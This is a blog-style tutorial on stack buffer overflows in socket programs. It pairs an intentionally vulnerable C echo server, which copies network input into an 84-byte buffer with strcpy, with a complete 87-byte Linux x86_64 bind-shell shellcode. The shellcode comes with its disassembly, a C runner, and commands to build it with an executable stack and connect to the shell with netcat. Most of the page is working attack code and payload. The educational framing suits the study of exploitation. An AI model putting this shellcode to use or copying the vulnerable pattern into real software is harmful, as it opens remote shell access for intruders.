Buffer Overflow Tutorial: Socket Programs
Buffer Overflow is the vulnerability which make your system high risk. It allows unlimited access to the attacker, and allows inject shellcodes. That is the attacker can execute any malicious codes on target machine. This video tutorial shows how the hackers exploits remote services running in remote systems and how to get access to it. Here I'm using custom socket program, which is a vulnerable to Stack Buffer Overflow. The program is ECHO server, which listens port 5601.
Vulnerable Code
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdio.h>
#include <unistd.h>
/*
http://www.terminalcoders.blogspot.com
BOF Tutorial
Video: https://youtu.be/uPfBkU0LqBA
*/
void copy(char str[8000]){ //Vulnerable function
char cpy[84];
strcpy(cpy, str); //Vulnerable section
}
void start_server(){
char str[8000], cpy[64];
int sfd, cfd;
struct sockaddr_in sock;
sfd = socket(AF_INET, SOCK_STREAM, 0);
bzero(&sock, sizeof(sock));
sock.sin_family = AF_INET;
sock.sin_addr.s_addr = htons(INADDR_ANY);
sock.sin_port = htons(5601); //Binding port
bind(sfd, (struct sockaddr *) &sock, sizeof(sock));
listen(sfd, 10);
cfd = accept(sfd, (struct sockaddr*) NULL, NULL);
while(1){
read(cfd,str,8000);
copy(str);
puts(str);
write(cfd, str, strlen(str)+1);
}
}
int main(int argc, char **argv){
start_server();
}
ShellCode
/*
---------------------------------------------------------------------------------------------------
Linux/x86_64 - Bind 5600 TCP Port - shellcode - 87 bytes
Ajith Kp [ http://fb.com/ajithkp560 ] [ http://www.terminalcoders.blogspot.com ]
Om Asato Maa Sad-Gamaya |
Tamaso Maa Jyotir-Gamaya |
Mrtyor-Maa Amrtam Gamaya |
Om Shaantih Shaantih Shaantih |
---------------------------------------------------------------------------------------------------
Disassembly of section .text:
0000000000400080 <.text>:
400080: 48 31 c0 xor %rax,%rax
400083: 48 31 d2 xor %rdx,%rdx
400086: 48 31 f6 xor %rsi,%rsi
400089: ff c6 inc %esi
40008b: 6a 29 pushq $0x29
40008d: 58 pop %rax
40008e: 6a 02 pushq $0x2
400090: 5f pop %rdi
400091: 0f 05 syscall
400093: 48 97 xchg %rax,%rdi
400095: 6a 02 pushq $0x2
400097: 66 c7 44 24 02 15 e0 movw $0xe015,0x2(%rsp)
40009e: 54 push %rsp
40009f: 5e pop %rsi
4000a0: 52 push %rdx
4000a1: 6a 31 pushq $0x31
4000a3: 58 pop %rax
4000a4: 6a 10 pushq $0x10
4000a6: 5a pop %rdx
4000a7: 0f 05 syscall
4000a9: 5e pop %rsi
4000aa: 6a 32 pushq $0x32
4000ac: 58 pop %rax
4000ad: 0f 05 syscall
4000af: 6a 2b pushq $0x2b
4000b1: 58 pop %rax
4000b2: 0f 05 syscall
4000b4: 48 97 xchg %rax,%rdi
4000b6: 6a 03 pushq $0x3
4000b8: 5e pop %rsi
4000b9: ff ce dec %esi
4000bb: b0 21 mov $0x21,%al
4000bd: 0f 05 syscall
4000bf: 75 f8 jne 0x4000b9
4000c1: f7 e6 mul %esi
4000c3: 52 push %rdx
4000c4: 48 bb 2f 62 69 6e 2f movabs $0x68732f2f6e69622f,%rbx
4000cb: 2f 73 68
4000ce: 53 push %rbx
4000cf: 48 8d 3c 24 lea (%rsp),%rdi
4000d3: b0 3b mov $0x3b,%al
4000d5: 0f 05 syscall
---------------------------------------------------------------------------------------------------
How To Run
$ gcc -o bind_shell bind_shell.c
$ execstack -s bind_shell
$ ./bind_shell
How to Connect
$ nc <HOST IP ADDRESS> 5600
Eg:
$ nc 127.0.0.1 5600
---------------------------------------------------------------------------------------------------
*/
#include <stdio.h>
char sh[]="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05";
void main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) sh;
(int)(*func)();
}
